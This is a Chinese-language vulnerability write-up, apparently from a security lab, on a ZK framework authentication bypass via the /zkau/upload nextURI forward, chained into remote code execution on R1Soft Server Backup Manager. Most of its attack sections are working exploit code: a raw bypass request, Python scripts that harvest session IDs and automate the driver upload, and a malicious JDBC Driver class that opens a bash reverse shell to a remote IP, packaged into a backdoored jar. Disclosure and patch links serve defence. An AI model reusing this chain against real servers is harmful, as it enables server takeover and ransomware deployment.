前言
ZK 是构建企业 Web 应用程序的领先开源 JavaWeb 框架。ZK 下载量超过 2000000 次,为众多公司和机构提供了支持,从小型公司到多个行业的《财富》世界 500 强。
R1Soft Server Backup Manager(SBM)为服务提供商提供了一个灵活、服务器友好的解决方案,消除了运行传统备份的麻烦。用户可以每 15 分钟运行一次备份,而不会影响服务器性能。近 1800 家服务提供商使用它来保护 250000 台服务器。
受影响版本
ZK 框架 v9.6.1、9.6.0.1、9.5.1.3、9.0.1.2 和 8.6.4.1。
ConnectWise Recover v2.9.7 及更早版本受到影响。
R1Soft Server Backup Manager v6.16.3 及更早版本受到影响。
ZK 框架身份验证绕过

[ZK-5150] Vulnerability in zk upload - ZK-Tracker [https://tracker.zkoss.org/browse/ZK-5150]

从漏洞描述来看,如果路由 /zkau/upload 包含 nextURI 参数,ZK AuUploader servlet 会进行 forward 请求转发,该转发可以绕过身份认证,返回 web 上下文中的文件,如获取 web.xml、zk 页面、applicationContext-security.xml 配置信息等。
分析
直接看webapps/web-temp/ui/WEB-INF/lib/zk-7.0.6.1.jar!/org/zkoss/zk/au/http/AuUploader.class#service()方法,接收了 nextURI 参数并进行请求转发。

该请求必须为 multipart 类型
请求构造
尝试转发到 web.xml,响应 ZK-Error 头为 410,说明失败了,dtid 为随便输入的字符。

观察 http 请求,发现 dtid 是随机生成的,并且附带了 JSESSIONID。
分析前端调用的 js,发现从 zk.Desktop 对象获取了 dtid。
发起 ajax 请求
获取 dtid
填入 dtid 和对应 JSESSIONID
POST /zkau/upload?uuid=101010&dtid=z_h7y&sid=0&maxsize=-1 HTTP/1.1Host: 10.211.55.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36ZK-SID: 3181Accept: */*Origin: http://10.211.55.6Referer: http://10.211.55.6/login.zulAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8Connection: closeCookie:JSESSIONID=986150E63DB473A50F546481080F18CCContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryJ7idG4OgW5iZREBGContent-Length: 154------WebKitFormBoundaryJ7idG4OgW5iZREBGContent-Disposition: form-data; name="nextURI"/WEB-INF/web.xml------WebKitFormBoundaryJ7idG4OgW5iZREBG--

尝试访问页面
nextURI=/Configuration/server-info.zul

发现绕过了身份验证,获取到了应用的敏感信息。

自动获取
使用 webdriver 获取
# https://chromedriver.storage.googleapis.com/index.html?path=107.0.5304.62/def bypass_auth1(target):warnings.warn("Discard. The bypass auch2 function is simpler to obtain dtid and cookies.", DeprecationWarning)rprint("[italic green][*] Bypass authentication.")try:opt = webdriver.ChromeOptions()opt.add_argument('--headless')opt.add_argument('--ignore-certificate-errors')driver = webdriver.Chrome(executable_path='./chromedriver', options=opt)driver.get(target)cookie_str = "JSESSIONID=" + driver.get_cookie("JSESSIONID")['value']dtid = driver.execute_script("""for (var dtid in zk.Desktop.all)return dtid""")return dtid, cookie_strexcept Exception as e:rprint("[italic red][-] Bypass authentication failed. {0}".format(e))exit()

显然这种方式不是很方便,笔者随后发现在访问 login.zul 时 dtid 已经生成并且在响应包中。

优化
def bypass_auth2(target):rprint("[italic green][*] Bypass authentication.")uri = "{0}/login.zul".format(target)try:result = requests.get(url=uri, timeout=3, verify=False, proxies=proxy)cookie_str = result.headers['Set-Cookie'].split(";")[0]r = u"dt:'(.*?)',cu:"regex = re.compile(r)dtid = regex.findall(result.text)[0]return dtid, cookie_strexcept Exception as e:rprint("[italic red][-] Bypass authentication failed. {0}".format(e))exit()

ConnectWise R1Soft Server Backup Manager RCE

R1Soft Server Backup Manager 使用了 zk 框架,并且支持设置 jdbc 驱动,从而导致远程命令执行并接管该服务器。

分析
jdbc 上传处理 zk-web/WEB-INF/classes/com/r1soft/backup/server/web/configuration/DatabaseDriversWindow.class#onUpload() 方法 。

跟入 processUploadedMedia() 方法,获取了文件流。

传入webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#uploadMySQLDriver()方法。
通过 uploadDriverFile() 方法写出文件。
webapps/lib/cdpserver.jar!/com/r1soft/backup/server/worker/db/mysql/MySQLUtil.class#hasMySQLDriverClass()会判断上传的 jar 包是否有org/gjt/mm/mysql/Driver.class,否则不会添加到 classpath 中,返回The file does not contain the MySQL JDBC database driver。
webapps/lib/cdpserver.jar!/com/r1soft/util/ClassPathUtil.class#addFile()方法调用URLClassLoader添加 jar 包到 classpath 中。

最后 webapps/lib/cdpserver.jar!/com/r1soft/backup/server/facade/DatabaseFacade.class#testMySQLDatabaseDriver() 进行驱动测试。

webapps/lib/cdpserver.jar!/com/r1soft/backup/server/db/mysql/MySQLDatabaseConnection.class#driverTest() 最终在 Class.forName 时执行了 Driver 中的静态代码块。

jdbc backdoor
早在 2018 年时就有人提出 jdbc backdoor,一部分应用程序在 ui 界面允许管理员上传 jdbc 驱动,这样非常方便,无需登陆服务器添加相关 jar 包。但 DriverManager 中的静态代码块会默认执行,从而可以执行任意代码。具体原理可以看看 SPI 机制是如何实现 JDBC 的,这里不再阐述。

编写恶意 com.mysql.jdbc.Driver,其实就是实现 java.sql.Driver 接口相关方法,在静态代码块中添加恶意代码。
package com.mysql.jdbc;import java.sql.*;import java.util.*;import java.util.logging.Logger;/*author: Bearcat of www.numencyber.comdesc : Mysql jdbc backdoor driver*/public class Driver implements java.sql.Driver {static {// String winCmd = "calc";String linuxCmd = "bash -i >& /dev/tcp/192.168.1.10/2022 0>&1";String[] cmds = null;if (System.getProperty("os.name").toLowerCase().contains("win")) {cmds = new String[]{"cmd.exe", "/c", winCmd};} else {cmds = new String[]{"/bin/bash", "-c", linuxCmd};}try {Runtime.getRuntime().exec(cmds);} catch (Exception ignored) {// do nothing...}}@Overridepublic Connection connect(String url, Properties info) throws SQLException {return null;}@Overridepublic boolean acceptsURL(String url) throws SQLException {return false;}@Overridepublic DriverPropertyInfo[] getPropertyInfo(String url, Properties info) throws SQLException {return new DriverPropertyInfo[0];}@Overridepublic int getMajorVersion() {return 0;}@Overridepublic int getMinorVersion() {return 0;}@Overridepublic boolean jdbcCompliant() {return false;}@Overridepublic Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}}
替换合法 jdbc 包中的 com.mysql.jdbc.Driver。
def build_jdbc_backdoor():rprint("[italic green][*] Compile java code.")java_cmd = 'javac -source 1.5 -target 1.5 Driver.java'popen = subprocess.Popen(java_cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)popen.stdout.read()tmp_path = 'jdbc_jar'os.mkdir(tmp_path)with zipfile.ZipFile('mysql-connector-java-5.1.48.jar', 'r', zipfile.ZIP_DEFLATED) as unzf:unzf.extractall("jdbc_jar")unzf.close()os.remove('jdbc_jar/com/mysql/jdbc/Driver.class')shutil.copy('Driver.class', 'jdbc_jar/com/mysql/jdbc/')with zipfile.ZipFile('jdbc_backdoor.jar', 'w', zipfile.ZIP_DEFLATED) as zf:for root, dirs, files in os.walk(tmp_path):relative_root = '' if root == tmp_path else root.replace(tmp_path, '') + os.sepfor filename in files:zf.write(os.path.join(root, filename), relative_root + filename)zf.close()shutil.rmtree(tmp_path)rprint("[italic green][*] Build jdbc backdoor success.")
请求构造
回到 ZK 框架机制本身,页面每个元素都会随机生成唯一标识,需要模拟整个请求过程,拿登陆举例。


自动上传
模拟上传驱动过程
def forward_request(target, next_uri, cookie_str, uuid, dtid):uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, uuid, dtid)param = {"nextURI": (None, next_uri)}headers = {"Cookie": cookie_str}data = MultipartEncoder(param, boundary="----WebKitFormBoundaryCs6yB0zvpfSBbYEp")headers["Content-Type"] = data.content_typetry:result = requests.post(url=uri, headers=headers, data=data.to_string(), timeout=3, verify=False, proxies=proxy)return resultexcept Exception as e:rprint("[italic red][-] Forward request failed. {0}".format(e))exit()def deploy_jdbc_backdoor(target):rprint("[italic red][!] The jdbc backdoor can only be deployed once, please make it persistent, such as rebounding the shell.")play_again = input("Whether to continue? (y/n):").lower()if play_again[0] != "y":exit()# get login_dtidlogin_dtid, cookie_str = bypass_auth2(target)rprint("[italic green][*] Start deploying the jdbc backdoor.")build_jdbc_backdoor()# database_dtid and mysql_driver_upload_button_iduri = "/Configuration/database-drivers.zul"result = forward_request(target, uri, cookie_str, "101010", login_dtid)r1 = u"{dt:'(.*?)',cu:"regex = re.compile(r1)database_dtid = regex.findall(result.text)[0]r1 = u"'zul.wgt.Button','(.*?)',"regex = re.compile(r1)mysql_driver_upload_button_id = regex.findall(result.text)[0]uri = "/zkau?dtid={0}&cmd_0=onClick&uuid_0={1}&data_0=%7B%22pageX%22%3A315%2C%22pageY%22%3A120%2C%22which%22%3A1%2C%22x%22%3A39%2C%22y%22%3A23%7D".format(database_dtid, mysql_driver_upload_button_id)result = forward_request(target, uri, cookie_str, "101010", login_dtid)# file_upload_dlg_id and file_upload_idr1 = u"zul.fud.FileuploadDlg','(.*?)',"regex = re.compile(r1)file_upload_dlg_id = regex.findall(result.text)[0]r1 = u"zul.wgt.Fileupload','(.*?)',"regex = re.compile(r1)file_upload_id = regex.findall(result.text)[0]uri = "{0}/zkau/upload?uuid={1}&dtid={2}&sid=0&maxsize=-1".format(target, file_upload_id, database_dtid)upload_jdbc_backdoor(uri, cookie_str)uri = "/zkau?dtid={0}&cmd_0=onMove&opt_0=i&uuid_0={1}&data_0=%7B%22left%22%3A%22716px%22%2C%22top%22%3A%22100px%22%7D&cmd_1=onZIndex&opt_1=i&uuid_1={2}&data_1=%7B%22%22%3A1800%7D&cmd_2=updateResult&data_2=%7B%22contentId%22%3A%22z__ul_0%22%2C%22wid%22%3A%22{3}%22%2C%22sid%22%3A%220%22%7D".format(database_dtid, file_upload_dlg_id, file_upload_dlg_id, file_upload_id)forward_request(target, uri, cookie_str, "101010", login_dtid)uri = "/zkau?dtid={0}&cmd_0=onClose&uuid_0={1}&data_0=%7B%22%22%3Atrue%7D".format(database_dtid,file_upload_dlg_id)forward_request(target, uri, cookie_str, "101010", login_dtid)def upload_jdbc_backdoor(uri, cookie_str):rprint("[italic green][*] Upload the database driver.")headers = {"Cookie": cookie_str}files = {'file': ('b.jar', open('jdbc_backdoor.jar', 'rb'), 'application/java-archive')}try:requests.post(uri, files=files, headers=headers, timeout=6, verify=False, proxies=proxy)except Exception as e:rprint("[italic red][-] Upload the database driver failed. {0}".format(e))exit()
利用演示
总结
R1Soft Server Backup Manager 使用 ZK 框架作为主框架,其安全性需要各 Web3 项目方提高重视,及时关注各种 Web3 基础架构的安全漏洞并及时打好补丁,以避免潜在的安全风险和数字资产损失。我们将及时挖掘,追踪各种 web3 上的安全风险,以及提供领先的安全解决方案,确保 web3 世界链上,链下安全无虞。
互联网影响
通过 Shodan 发现了 4000 多个暴露的 Server Backup Manager,很有可能会被攻击者利用接管主服务器和 agent 主机权限并下发勒索软件。建议各 Web3 项目方提高重视,及时升级到安全版本,以避免潜在的安全风险和数字资产损失。如有任何疑问或技术交流,欢迎联系我们 contact@numencyber.com。
补丁下载
[ZK-5150] Vulnerability in zk upload - ZK-Tracker
(https://tracker.zkoss.org/browse/ZK-5150)
ConnectWise Recover and R1Soft Server Backup Manager Critical Security Release
(https://www.connectwise.com/company/trust/security-bulletins/r1soft-and-recover-security-bulletin)
NUMEN 实验室致力于对 Web3 生态安全保驾护航。

【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。
